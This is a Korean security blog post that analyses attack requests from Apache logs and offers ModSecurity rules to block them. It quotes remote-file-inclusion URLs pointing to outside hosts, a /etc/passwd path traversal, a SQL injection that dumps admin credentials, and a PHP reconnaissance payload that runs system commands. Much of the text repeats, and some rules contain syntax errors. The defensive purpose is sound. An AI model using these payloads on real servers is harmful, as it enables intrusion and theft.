전에 포스팅했던 최근 웹사이트 공격 유형 의 공격 유형 외에 특이한 공격 방식(?) 몇가지가 apache log에 기록되어
modsecurity(2.5.x)를 이용한 차단 룰을 적어보도록 하겠습니다.
modsecurity에서는 아래룰로 공격을 차단할수 있습니다.
아래 로그는 최근(?)에 새로 접근을 시도하는 녀석들이 남긴 로그입니다.
아래 php소스는 remote include에 쓰인 이미지 확장자로 된 php파일입니다. 거의 대부분 비슷한 소스에 소속 그룹(?)만
바꿔 돌리는군요.
modsecurity(2.5.x)를 이용한 차단 룰을 적어보도록 하겠습니다.
GET /weblog/%20http:// filtered.ru/images? HTTP/1.0
위의 경우 space를 url-encode해 기존의 방화벽등의 필터링을 우회해 보려는 시도로 보입니다.modsecurity에서는 아래룰로 공격을 차단할수 있습니다.
SecRule REQUEST_URI "/ (htt|ft)p://"
"log,auditlog,phase:2,deny,msg:'url- encode',t:urlDecodeUni"
그리고 다음 user-agent(이하 UA)는 막아주는것이 좋겠습니다.
libwww, cr4nk.ws, winnie poh, user-agent(user-agent필드에 user-agent가 있는 녀석들도 있습니다.
스팸봇등이 아닌 정상적인 UA라면 제작자가 대충 만들었다고 밖에 생각이 안되는군요. )
아래는 제가 적용중인 비정상적인 UA차단 룰입니다. 그대로 적용을 하게 되면 drop 룰에 의해 해당UA는 접속시
FIN 패킷으로 인해 즉시 connection close상태가됩니다. 충분한 테스트를 한뒤 적용하기시 바랍니다.
#UA필드에 "가 포함된 UA
SecRule REQUEST_HEADERS:User-Agent """
"log,phase:1,auditlog,drop,msg:'MZ5'"
#UA필드에 user-agent가 있는 녀석
SecRule REQUEST_HEADERS:User-Agent "^user-agent"
"log,auditlog,drop,msg:'UA',id:'990902',severity:'2'"
#java, windows 95, hmsbot(스팸봇으로 의심됨)
SecRule REQUEST_HEADERS:User-Agent "^java|windows 95|hmsbot"
"log,auditlog,drop,msg:'UA',id:'990902',severity:'2'"
#주로 외국에서 사용되는 스팸봇으로 의심됨
SecRule REQUEST_HEADERS:User-Agent "b5.1;1813)$"
"log,auditlog,drop,msg:'UA',severity:'2'"
#역시 의심되는 UA
SecRule REQUEST_HEADERS:User-Agent "bwindows xp)$"
"log,auditlog,drop,msg:'XP',severity:'2'"
#mozilla/4또는 5로 끝나는 UA - 정상적이지 않음, 스팸봇 또는 스팸 스파이더로 의심,또는 대충 만든 프로그램일수도 있습니다.
SecRule REQUEST_HEADERS:User-Agent "mozilla/(4|5).0$"
"log,auditlog,drop,msg:'mozilla4/5'"
#IE7 beta라고 하는데 역시 정상적이지 않은것으로 보임
SecRule REQUEST_HEADERS:User-Agent "^mozilla/4.0 (compatible; MSIE 7.0b;"
"log,auditlog,drop,msg:'new spider2'"
#coppermine gallery를 공격하던 UA
SecRule REQUEST_HEADERS:User-Agent "winnie poh"
"log,auditlog,phase:1,drop,msg:'UA2',,id:'990902',severity:'2'"
"log,auditlog,phase:2,deny,msg:'url- encode',t:urlDecodeUni"
그리고 다음 user-agent(이하 UA)는 막아주는것이 좋겠습니다.
libwww, cr4nk.ws, winnie poh, user-agent(user-agent필드에 user-agent가 있는 녀석들도 있습니다.
스팸봇등이 아닌 정상적인 UA라면 제작자가 대충 만들었다고 밖에 생각이 안되는군요. )
아래는 제가 적용중인 비정상적인 UA차단 룰입니다. 그대로 적용을 하게 되면 drop 룰에 의해 해당UA는 접속시
FIN 패킷으로 인해 즉시 connection close상태가됩니다. 충분한 테스트를 한뒤 적용하기시 바랍니다.
#UA필드에 "가 포함된 UA
SecRule REQUEST_HEADERS:User-Agent """
"log,phase:1,auditlog,drop,msg:'MZ5'"
#UA필드에 user-agent가 있는 녀석
SecRule REQUEST_HEADERS:User-Agent "^user-agent"
"log,auditlog,drop,msg:'UA',id:'990902',severity:'2'"
#java, windows 95, hmsbot(스팸봇으로 의심됨)
SecRule REQUEST_HEADERS:User-Agent "^java|windows 95|hmsbot"
"log,auditlog,drop,msg:'UA',id:'990902',severity:'2'"
#주로 외국에서 사용되는 스팸봇으로 의심됨
SecRule REQUEST_HEADERS:User-Agent "b5.1;1813)$"
"log,auditlog,drop,msg:'UA',severity:'2'"
#역시 의심되는 UA
SecRule REQUEST_HEADERS:User-Agent "bwindows xp)$"
"log,auditlog,drop,msg:'XP',severity:'2'"
#mozilla/4또는 5로 끝나는 UA - 정상적이지 않음, 스팸봇 또는 스팸 스파이더로 의심,또는 대충 만든 프로그램일수도 있습니다.
SecRule REQUEST_HEADERS:User-Agent "mozilla/(4|5).0$"
"log,auditlog,drop,msg:'mozilla4/5'"
#IE7 beta라고 하는데 역시 정상적이지 않은것으로 보임
SecRule REQUEST_HEADERS:User-Agent "^mozilla/4.0 (compatible; MSIE 7.0b;"
"log,auditlog,drop,msg:'new spider2'"
#coppermine gallery를 공격하던 UA
SecRule REQUEST_HEADERS:User-Agent "winnie poh"
"log,auditlog,phase:1,drop,msg:'UA2',,id:'990902',severity:'2'"
아래 로그는 최근(?)에 새로 접근을 시도하는 녀석들이 남긴 로그입니다.
GET /weblog/*.php?dir=http:// www.filtered.com/readme.txt??
GET /@bothttp:// www.filtered.be/calendar/nid.txt
GET /weblog//skin/zero_vote/error.php?dir=http ://xxxxxx.xxxxx.xxx.gif?
#이경우는 bot제작자들이 이것저것 테스트 해보고 있는것 같습니다. 조금씩 다른 시도들이 기록이 되는군요.
GET /@bothttp:// www.filtered.be/calendar/nid.txt
GET /weblog//skin/zero_vote/error.php?dir=http ://xxxxxx.xxxxx.xxx.gif?
#이경우는 bot제작자들이 이것저것 테스트 해보고 있는것 같습니다. 조금씩 다른 시도들이 기록이 되는군요.
GET /weblog/!scanhttp:// filtered.net/kngid.txt? HTTP/1.1
GET /weblog/index.php?redir=http:// www.filtered.com/adpics/test.txt?
GET /weblog/blog//skin/zero_vote/ask_password.php?dir=uid=10042(susanita)%20gid=
2523(psacln)%20groups=16(dialout),33(video),2523(psacln)%0A?
GET /skin/zero_vote/error.php?dir=uid=48(apache)%20gid=48(apache)%20groups=48(apache),2522(psaserv)%0A?
GET /weblog//includes/mailaccess/pop3.php?CONFIG[pear_dir]=uid=10042(susanita)%20gid=2523(psacln)%20groups=16(dialout),33(video),2523(psacln)%0A?
2523(psacln)%20groups=16(dialout),33(video),2523(psacln)%0A?
GET /skin/zero_vote/error.php?dir=uid=48(apache)%20gid=48(apache)%20groups=48(apache),2522(psaserv)%0A?
GET /weblog//includes/mailaccess/pop3.php?CONFIG[pear_dir]=uid=10042(susanita)%20gid=2523(psacln)%20groups=16(dialout),33(video),2523(psacln)%0A?
GET /weblog//includes/mailaccess/pop3.php?CONFIG[pear_dir]=../../../../../../../../../../../../../etc/passwd%00 HTTP/1.1
GET /weblog//index.php?page=articles&article=-1%20union%20select%201,pseudo_admin,3,motdep
asse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20zblog_admins--
http:// www.filtered.org/redfox/id.txt???
asse_admin,5,6,7,8,9,10,11,12,13,14,15,16,17,email_admin%20from%20zblog_admins--
http:// www.filtered.org/redfox/id.txt???
GET /weblog/blog/page/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemi
d%5d=1&GLOBALS=&mosConfig_absolute_path=http:// www.filtered.net/images/response1???
d%5d=1&GLOBALS=&mosConfig_absolute_path=http:// www.filtered.net/images/response1???
GET /weblog//contenido/cronjobs/move_articles.php?cfg[path][contenido]=http:// filtered.info/oye.txt??
GET //Contenido_4.8.4/contenido/backend_search.php?contenido_path=http:// filtered.net/sdsdf.gif?????
GET /weblog/hioxBannerRotate.php?hm=http:// filtered.net/poll/me.txt???
아래 php소스는 remote include에 쓰인 이미지 확장자로 된 php파일입니다. 거의 대부분 비슷한 소스에 소속 그룹(?)만
바꿔 돌리는군요.
<?
echo "ALBANIA<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "UNITED ALBANIANS ...<br>";
exit;
?>
echo "ALBANIA<br>";
$alb = @php_uname();
$alb2 = system(uptime);
$alb3 = system(id);
$alb4 = @getcwd();
$alb5 = getenv("SERVER_SOFTWARE");
$alb6 = phpversion();
$alb7 = $_SERVER['SERVER_NAME'];
$alb8 = gethostbyname($SERVER_ADDR);
$alb9 = get_current_user();
$os = @PHP_OS;
echo "os: $os<br>";
echo "uname -a: $alb<br>";
echo "uptime: $alb2<br>";
echo "id: $alb3<br>";
echo "pwd: $alb4<br>";
echo "user: $alb9<br>";
echo "phpv: $alb6<br>";
echo "SoftWare: $alb5<br>";
echo "ServerName: $alb7<br>";
echo "ServerAddr: $alb8<br>";
echo "UNITED ALBANIANS ...<br>";
exit;
?>
'Security' 카테고리의 다른 글
fail2ban proftpd filter (0) | 2008.12.13 |
---|---|
zeroboardXE CSRF (Cross-site request forgery) 보안 취약점 (0) | 2008.09.02 |
Multiple DNS server vulnerable to cache poisoning (0) | 2008.07.13 |
Safari update fixes "carpet bomb" flaw (0) | 2008.06.25 |
보안 관련 사이트 (mailling) (0) | 2008.06.16 |